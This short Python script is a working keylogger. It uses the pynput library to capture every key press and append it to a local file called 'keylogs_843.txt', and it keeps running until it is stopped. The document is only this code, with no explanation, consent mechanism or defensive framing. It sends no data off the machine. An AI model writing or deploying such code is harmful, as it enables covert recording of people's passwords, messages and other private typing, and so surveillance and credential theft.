
import pynput.keyboard

def on_press(key):
    with open("keylogs_843.txt", "a") as f:
        f.write(str(key) + "\n")

keyboard_listener = pynput.keyboard.Listener(on_press=on_press)
keyboard_listener.start()
keyboard_listener.join()
